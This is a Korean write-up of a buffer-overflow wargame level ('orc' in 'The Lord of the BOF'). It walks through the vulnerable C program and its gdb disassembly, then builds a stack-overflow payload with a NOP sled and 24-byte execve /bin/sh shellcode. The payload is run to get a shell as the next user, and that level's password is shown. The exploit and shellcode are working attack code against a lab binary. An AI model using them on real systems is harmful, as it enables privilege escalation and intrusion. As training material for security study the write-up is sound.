이번 문제는 어쩔 수 없이 ShellCode를 사용해야하는 문제다. 그 이유는 소스코드를 보며 설명하겠다.
[goblin@localhost goblin]$ cat orc.c /* The Lord of the BOF : The Fellowship of the BOF - orc - egghunter */
#include <stdio.h> #include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]) { char buffer[40]; int i;
if(argc < 2){ printf("argv error\n"); exit(0); }
// egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); }
strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
해당 문제는 argv[1][47]에 0xbf가 존재하는지 확인하고 0xbf가 존재한다면 strcpy를 실행하여 BOF가 가능하게 만든다. 하지만 argv[1][47]의 위치에 0xbf가 존재하지 않다면, 우리는 "stack is still you friend"라는 문구에 직면하게 될 것이다.
그럼 우리는 argv[1][47]이 어떤 위치인지 확인할 필요가 있는데 이 부분을 확인해 보자.
[goblin@localhost goblin]$ gdb -q o (gdb) set disassembly-flavor intel (gdb) disass main Dump of assembler code for function main: 0x8048500 <main>: push %ebp 0x8048501 <main+1>: mov %ebp,%esp 0x8048503 <main+3>: sub %esp,44 0x8048506 <main+6>: cmp DWORD PTR [%ebp+8],1 0x804850a <main+10>: jg 0x8048523 <main+35> 0x804850c <main+12>: push 0x8048630 0x8048511 <main+17>: call 0x8048410 <printf> 0x8048516 <main+22>: add %esp,4 0x8048519 <main+25>: push 0 0x804851b <main+27>: call 0x8048420 <exit> 0x8048520 <main+32>: add %esp,4 0x8048523 <main+35>: nop 0x8048524 <main+36>: mov DWORD PTR [%ebp-44],0x0 0x804852b <main+43>: nop 0x804852c <main+44>: lea %esi,[%esi*1] 0x8048530 <main+48>: mov %eax,DWORD PTR [%ebp-44] 0x8048533 <main+51>: lea %edx,[%eax*4] 0x804853a <main+58>: mov %eax,%ds:0x8049750 0x804853f <main+63>: cmp DWORD PTR [%eax+%edx],0 0x8048543 <main+67>: jne 0x8048547 <main+71> 0x8048545 <main+69>: jmp 0x8048587 <main+135> 0x8048547 <main+71>: mov %eax,DWORD PTR [%ebp-44] 0x804854a <main+74>: lea %edx,[%eax*4] 0x8048551 <main+81>: mov %eax,%ds:0x8049750 0x8048556 <main+86>: mov %edx,DWORD PTR [%eax+%edx] 0x8048559 <main+89>: push %edx 0x804855a <main+90>: call 0x80483f0 <strlen> 0x804855f <main+95>: add %esp,4 0x8048562 <main+98>: mov %eax,%eax 0x8048564 <main+100>: push %eax 0x8048565 <main+101>: push 0 0x8048567 <main+103>: mov %eax,DWORD PTR [%ebp-44] 0x804856a <main+106>: lea %edx,[%eax*4] 0x8048571 <main+113>: mov %eax,%ds:0x8049750 0x8048576 <main+118>: mov %edx,DWORD PTR [%eax+%edx] 0x8048579 <main+121>: push %edx 0x804857a <main+122>: call 0x8048430 <memset> 0x804857f <main+127>: add %esp,12 0x8048582 <main+130>: inc DWORD PTR [%ebp-44] 0x8048585 <main+133>: jmp 0x8048530 <main+48> 0x8048587 <main+135>: mov %eax,DWORD PTR [%ebp+12] 0x804858a <main+138>: add %eax,4 0x804858d <main+141>: mov %edx,DWORD PTR [%eax] 0x804858f <main+143>: add %edx,47 0x8048592 <main+146>: cmp BYTE PTR [%edx],0xbf //0xbf를 비교하는 부분 => 해당주소는 edx에 존재 0x8048595 <main+149>: je 0x80485b0 <main+176> 0x8048597 <main+151>: push 0x804863c 0x804859c <main+156>: call 0x8048410 <printf> 0x80485a1 <main+161>: add %esp,4 0x80485a4 <main+164>: push 0 0x80485a6 <main+166>: call 0x8048420 <exit> 0x80485ab <main+171>: add %esp,4 0x80485ae <main+174>: mov %esi,%esi 0x80485b0 <main+176>: mov %eax,DWORD PTR [%ebp+12] 0x80485b3 <main+179>: add %eax,4 0x80485b6 <main+182>: mov %edx,DWORD PTR [%eax] 0x80485b8 <main+184>: push %edx 0x80485b9 <main+185>: lea %eax,[%ebp-40] 0x80485bc <main+188>: push %eax 0x80485bd <main+189>: call 0x8048440 <strcpy> 0x80485c2 <main+194>: add %esp,8 0x80485c5 <main+197>: lea %eax,[%ebp-40] 0x80485c8 <main+200>: push %eax 0x80485c9 <main+201>: push 0x8048659 0x80485ce <main+206>: call 0x8048410 <printf> 0x80485d3 <main+211>: add %esp,8 0x80485d6 <main+214>: leave 0x80485d7 <main+215>: ret 0x80485d8 <main+216>: nop 0x80485d9 <main+217>: nop 0x80485da <main+218>: nop 0x80485db <main+219>: nop 0x80485dc <main+220>: nop 0x80485dd <main+221>: nop 0x80485de <main+222>: nop 0x80485df <main+223>: nop End of assembler dump. |
어셈블 코드를 확인해보면 edx가 가지고 있는 주소에 위치한 HEX값과 0xbf를 비교함을 확인할 수 있다. 그렇다면 우선 strcpy에 맞춰 Payload를 작성해보자. 우선 연습 Payload는 이전에 사용한 Payload를 그대로 가져다 써보자.
$(python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"B"*4+"\xf9\xbf\x0f\x40"') |
해당 Payload를 이용해서 Edx가 가리키는 위치의 문자를 뽑아본 내용은 아래와 같다.
[goblin@localhost goblin]$ gdb -q o (gdb) b *main+146 Breakpoint 1 at 0x8048592 <"A"*44+"\xe0\x8a\x05\x40"+"B"*4+"\xf9\xbf\x0f\x40"') Starting program: /home/goblin/o $(python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"B"*4+"\xf9\xbf\x0f\x40"')
Breakpoint 1, 0x8048592 in main () (gdb) x/20x $edx 0xbffffe0d: 0x42424240 0x0fbff942 0x00000040 0x00000000 0xbffffe1d: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe2d: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe3d: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe4d: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) info registers eax 0xbffffcd8 -1073742632 ecx 0x0 0 edx 0xbffffe0d -1073742323 ebx 0x401081ec 1074823660 esp 0xbffffc5c -1073742756 ebp 0xbffffc88 -1073742712 esi 0x4000ae60 1073786464 edi 0xbffffcd4 -1073742636 eip 0x8048592 134514066 eflags 0x292 658 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 cwd 0xffff037f -64641 swd 0xffff0000 -65536 twd 0x0 0 fip 0x401e0178 1075708280 fcs 0x0 0 fopo 0x0 0 fos 0x0 0 |
edx가 가리키고 있는 위치의 값은 0x40이다. 이 값은 우리의 페이로드에서
$(python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"B"*4+"\xf9\xbf\x0f\x40"')
빨간색으로 표시한 부분이다. 그렇다면 이 문제에서 원하는 것은 0xbfXXX의 위치로 리턴하여 쉘코드를 실행하라는 의미로 해석하면 될 것이다. 그렇다면 0xbfXXX의 위치는 과연 어디일까?
우리는 이미 그 위치를 보았다. 바로 edx가 가리키고 있는 부분 즉 argv[1]이 존재하고 있는 위치이다.
그럼 이제부터 간단해진다. 내가 여기서 24byte짜리 쉘코드를 사용하였다. 쉘코드는 아래와 같다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 |
[$edx-47]은 우리가 넣는"A"의 시작위치이다. 여기는 다음과 같이 확인해 볼 수 있다.
(gdb) x/40x $edx-47 0xbffffdd7: 0x41414141 0x41414141 0x41414141 0x41414141 ..... |
위치는 확인했다. 0xbffffdd7이다. 이것을 토대로 한번 Payload를 작성해보자.
$(python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xe7\xfd\xff\xbf"')
여기서 0x90은 NOP이다. NOP는 아무것도 실행하지 않겠다는 어셈블러이다. 우리는 우리가 활용할 수 있는 공간인 44byte중 24byte를 쉘코드에게 할당하고, 나머지 20byte를 0x90으로 채워 대략적으로 위치를 계산하고 NOP Slide를 태울 것이란 거다.
해당 Payload를 실행한 결과는 아래와 같다.
<62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xe7\xfd\xff\xbf"') ��������������������1�Ph//shh/bin��PS�ᙰ ���� bash$ id uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin) bash$ /bin/my-pass euid = 504 cantata bash$ |
우리는 또 권한을 획득했다.